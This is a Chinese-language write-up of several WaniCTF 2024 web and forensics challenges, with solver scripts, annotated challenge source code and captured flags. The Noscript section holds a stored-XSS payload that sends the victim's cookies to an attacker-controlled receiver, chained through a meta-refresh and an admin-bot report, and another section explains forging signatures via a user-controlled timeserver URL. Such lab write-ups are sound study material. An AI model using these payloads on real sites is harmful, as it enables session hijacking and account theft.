Wani CTF 2024

Web

Bad_Worker

1
2
3
4
import requests
url = 'https://web-bad-worker-lz56g6.wanictf.org/FLAG.txt'
r = requests.get(url)
print(r.text)

FLAG{pr0gr3ssiv3_w3b_4pp_1s_us3fu1}

POW

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<!DOCTYPE html>
<html>
<head>
<title>POW Client</title>
</head>
<body>
<h1>Proof of Work</h1>
<p>Calculate hashes to get the flag!</p>
<p>Client status: <span id="client-status">(no status yet)</span></p>
<p>Server response: <span id="server-response">(no hash sent yet)</span></p>
<script
src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.2.0/crypto-js.min.js"
integrity="sha512-a+SUDuwNzXDvz4XrIcXHuCf089/iJAoN4lmrXJg18XnduKK6YlDHNRalv4yd1N40OKI80tFidF+rqTFKGPoWFQ=="
crossorigin="anonymous"
referrerpolicy="no-referrer"
></script>
<script>
function hash(input) {
let result = input;
for (let i = 0; i < 10; i++) {
result = CryptoJS.SHA256(result);
}
return (result.words[0] & 0xFFFFFF00) === 0;
}
async function send(array) {
document.getElementById("server-response").innerText = await fetch(
"/api/pow",
{
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify(array),
}
).then((r) => r.text());
}
let i = BigInt(localStorage.getItem("pow_progress") || "0");
async function main() {
await send([]);
async function loop() {
document.getElementById(
"client-status"
).innerText = `Checking ${i.toString()}...`;
localStorage.setItem("pow_progress", i.toString());
for (let j = 0; j < 1000; j++) {
i++;
if (hash(i.toString())) {
await send([i.toString()]);
}
}
requestAnimationFrame(loop);
}
loop();
}
main();
</script>
</body>
</html>

要找到数字,其SHA-256哈希值经过10次哈希后,其结果的第一个字的高8位都是0 然后发送到api 1000000次验证通过得到flag 一开始以为要找到1000000个
其实可以重复发送同一个数字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import hashlib

def hash_n_times(value, n):
hash_value = str(value).encode('utf-8')
for _ in range(n):
hash_value = hashlib.sha256(hash_value).digest()
return hash_value

def is_first_word_zero(hash_value):
first_word = int.from_bytes(hash_value[:4], 'big')
return (first_word & 0xFFFFFF00) == 0

# 遍历1到9999999之间的数字
for number in range(1, 10000000):
if is_first_word_zero(hash_n_times(number, 10)):
print( number)
break

import requests
import time

URL = "https://web-pow-lz56g6.wanictf.org/"

session = requests.session()

for _ in range(20):
res = session.post(URL + "api/pow", json=[str(number)]*50000)
print(res.content)
time.sleep(1)

b'FLAG{N0nCE_reusE_i$_FUn}'

One Day One Letter

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
import json
import os
from datetime import datetime
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.request import Request, urlopen
from urllib.parse import urljoin

from Crypto.Hash import SHA256 # 导入SHA256哈希函数
from Crypto.PublicKey import ECC # 导入ECC公钥
from Crypto.Signature import DSS # 导入DSS签名方案

# 从环境变量中获取FLAG_CONTENT,如果没有则默认值为'abcdefghijkl'
FLAG_CONTENT = os.environ.get('FLAG_CONTENT', 'abcdefghijkl')
# 确认FLAG_CONTENT长度为12
assert len(FLAG_CONTENT) == 12
# 确认FLAG_CONTENT只包含小写字母
assert all(c in 'abcdefghijklmnopqrstuvwxyz' for c in FLAG_CONTENT)

# 获取时间服务器的公钥
def get_pubkey_of_timeserver(timeserver: str):
req = Request(urljoin('https://' + timeserver, 'pubkey')) # 构建请求以获取公钥
with urlopen(req) as res:
key_text = res.read().decode('utf-8') # 读取并解码公钥文本
return ECC.import_key(key_text) # 导入并返回ECC公钥

# 根据时间戳生成flag提示
def get_flag_hint_from_timestamp(timestamp: int):
content = ['?'] * 12 # 初始化提示内容为12个问号
idx = timestamp // (60*60*24) % 12 # 计算当前时间对应的flag位置
content[idx] = FLAG_CONTENT[idx] # 将对应位置的字符填入提示内容
return 'FLAG{' + ''.join(content) + '}' # 返回格式化的flag提示

# 定义HTTP请求处理程序类
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_OPTIONS(self):
# 处理OPTIONS请求,用于跨域请求的预检
self.send_response(200, "ok")
self.send_header('Access-Control-Allow-Origin', '*')
self.send_header('Access-Control-Allow-Methods', 'POST, OPTIONS')
self.send_header("Access-Control-Allow-Headers", "X-Requested-With")
self.send_header("Access-Control-Allow-Headers", "Content-Type")
self.end_headers()

def do_POST(self):
try:
nbytes = int(self.headers.get('content-length')) # 获取请求体的长度
body = json.loads(self.rfile.read(nbytes).decode('utf-8')) # 读取并解析JSON请求体

timestamp = body['timestamp'].encode('utf-8') # 获取并编码时间戳
signature = bytes.fromhex(body['signature']) # 将签名从十六进制转换为字节
timeserver = body['timeserver'] # 获取时间服务器地址

pubkey = get_pubkey_of_timeserver(timeserver) # 获取时间服务器的公钥
h = SHA256.new(timestamp) # 计算时间戳的SHA256哈希值
verifier = DSS.new(pubkey, 'fips-186-3') # 创建DSS验证器
verifier.verify(h, signature) # 验证签名

# 如果验证成功,发送响应
self.send_response(HTTPStatus.OK)
self.send_header('Content-Type', 'text/plain; charset=utf-8')
self.send_header('Access-Control-Allow-Origin', '*')
self.end_headers()
dt = datetime.fromtimestamp(int(timestamp)) # 将时间戳转换为日期时间对象
res_body = f'''<p>Current time is {dt.date()} {dt.time()}.</p>
<p>Flag is {get_flag_hint_from_timestamp(int(timestamp))}.</p>
<p>You can get only one letter of the flag each day.</p>
<p>See you next day.</p>
'''
self.wfile.write(res_body.encode('utf-8')) # 将响应体写入并发送给客户端
self.requestline # 记录请求行(虽然在此处并没有实际作用)
except Exception:
# 如果验证失败,发送未授权响应
self.send_response(HTTPStatus.UNAUTHORIZED)
self.end_headers()

# 创建HTTP服务器实例,绑定到本地地址和端口5000
handler = HTTPRequestHandler
httpd = HTTPServer(('', 5000), handler)

# 服务器开始运行,开始处理请求
httpd.serve_forever()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from http import HTTPStatus
from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import time
from Crypto.Hash import SHA256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS

# 生成一个新的ECC密钥对
key = ECC.generate(curve='p256')
# 导出公钥,稍后将被提供给客户端进行签名验证
pubkey = key.public_key().export_key(format='PEM')

# 定义HTTP请求处理程序类
class HTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/pubkey':
# 处理获取公钥的请求
self.send_response(HTTPStatus.OK) # 发送HTTP 200状态码
self.send_header('Content-Type', 'text/plain; charset=utf-8') # 设置响应头,内容类型为纯文本
self.send_header('Access-Control-Allow-Origin', '*') # 允许跨域请求
self.end_headers() # 结束响应头
res_body = pubkey # 公钥作为响应体
self.wfile.write(res_body.encode('utf-8')) # 将公钥写入响应体并发送给客户端
self.requestline # 记录请求行(虽然在此处并没有实际作用)
else:
# 处理获取时间戳和签名的请求
timestamp = str(int(time.time())).encode('utf-8') # 获取当前时间戳,并编码为字节串
h = SHA256.new(timestamp) # 使用SHA-256哈希算法计算时间戳的哈希值
signer = DSS.new(key, 'fips-186-3') # 使用ECC密钥和DSS签名方案创建签名器
signature = signer.sign(h) # 对哈希值进行签名
self.send_response(HTTPStatus.OK) # 发送HTTP 200状态码
self.send_header('Content-Type', 'application/json; charset=utf-8') # 设置响应头,内容类型为JSON
self.send_header('Access-Control-Allow-Origin', '*') # 允许跨域请求
self.end_headers() # 结束响应头
res_body = json.dumps({'timestamp': timestamp.decode('utf-8'), 'signature': signature.hex()}) # 创建包含时间戳和签名的JSON响应体
self.wfile.write(res_body.encode('utf-8')) # 将响应体写入响应并发送给客户端

# 创建HTTP服务器实例,绑定到本地地址和端口5001
handler = HTTPRequestHandler
httpd = HTTPServer(('', 5001), handler)

# 服务器开始运行,开始处理请求
httpd.serve_forever()

根据时间戳签名来认证
这里主要关键服务是timeserver,私钥公钥以及时间戳和签名都在这生成
没有私钥不可能伪造签名
注意请求的payload有一个timeserver的url字段,可以控制
想要自己控制私钥,可以自己vps搭一个timeserver
不过要https,vps得有域名ssl

Noscript

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

URL = "https://web-noscript-lz56g6.wanictf.org/"
RECEIVER = "http://ip:port/"

res = requests.post(URL + "signin")
print(res.text)
id1 = res.url.split("/")[-1]
res = requests.post(URL + "user/" + id1 , data={
"username": f'''<script>new Image().src = ("{RECEIVER}/?flag=" + document.cookie)</script>''',
"profile": "test"
})

res = requests.post(URL + "signin")
id2 = res.url.split("/")[-1]
print(f'''<meta http-equiv="refresh" content="0;{URL + "username/" + id1}">''')
res = requests.post(URL + "user/" + id2 , data={
"username": '''test''',
"profile": f'''<meta http-equiv="refresh" content="0;{"http://app:8080/username/" + id1}">'''
})
print(id1)
print(id2)
res = requests.post(URL + "report/", data={ "url": "/user/" + id2})

vps开http.server

Forensics

Surveillance_of_sus

https://github.com/ANSSI-FR/bmc-tools



FLAG{RDP_is_useful_yipeee}


Wani CTF 2024
http://example.com/2024/06/24/Wani CTF 2024/
作者
J_0k3r
发布于
2024年6月24日
许可协议
BY J_0K3R